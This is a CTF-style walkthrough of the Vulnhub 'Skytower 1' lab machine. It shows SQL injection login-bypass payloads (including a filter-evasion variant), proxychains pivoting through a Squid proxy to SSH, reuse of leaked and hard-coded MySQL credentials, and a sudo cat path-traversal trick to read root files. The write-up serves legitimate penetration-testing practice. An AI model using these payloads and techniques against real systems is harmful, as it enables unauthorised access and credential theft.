Skytower 1

Vulnhub virtual machine; OSCP prep box, classic linux box which began with some filtered SQLi and workarounds. The usage of proxychains came in to redirect our connection to target host. Escalation was interesting and getting a full shell even more so.

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VM Source:,96/

Discover VM on network:

netdiscover -r ![](



Nmap Scan:

nmap -sV -sC -oA nmap/skytower

Looks as if an SSH server, HTTP server, and a second HTTP server on a non standard port.

Investigating HTTP - port 80


Login page with a PHP backend. Lets try for a SQL-i.

classic no go on first try.

second attempt

no go again.

third attempt

password: ' OR 1=1 --

returned a SQL response message. Leading to believe it is injectable.

SQL injection evasion technique (just incase OR is being filtered): evasion technique link:

username: ' *'
password: ' *'

Results in SSH credentials login/password information

username: john
password: hereisjohn

Investigate HTTP server - port 3128


Stylesheet for Squid Error pages identified

squid/3.1.20 service identified on the main page.

Searchsploit for vulnerabilties:

nothing of immediate use.

Enter Proxychains

we will need to pivot via this other webserver as when we connect to the [email protected] connection immediately closes.

so we need to configure proxychains /etc/proxychains.conf add add http 3128

save and reattempt:

we successfully connect to the ssh server but again are kicked out. Lets call the /bin/sh/ during the connection to see if this aids to the stablity

proxychains ssh [email protected] '/bin/sh'

results in low level execution shell. We are now running locally through proxies on the box.


Looking around I discover a few other users:

might be worth checking them out as john has really limited privileges.

investigating the login.php

and it just show happens to have mysql hard-coded passwords

Login to MySQL

mysql -u root -p

username: root / password: root

show databases;

use SkyTech;
select * from login;
\q #prints to screen

we now have more credentials. Lets move to Sara

proxychains ssh [email protected] '/bin/sh'

check what sara can do sudo -l

we can cat as sudo we should take the shadow file.

not that easy without a full shell… lets append the information to another file

Moving to achieve a full tty - definitely a hard task but after some much research and discovering the .bashrc that was killing our connection with the exit was the issue. Next, we had to remove the bottom lines from .bashrc


echo  "Funds have been withdrawn"

since nano and other editors were out the window.

head -n -3 .bashrc > .bashrc

did the trick! Now I could login with an actual prompt.

well lets cat the flag

sudo /bin/cat /accounts/../root/flag.txt    

Bring me the root!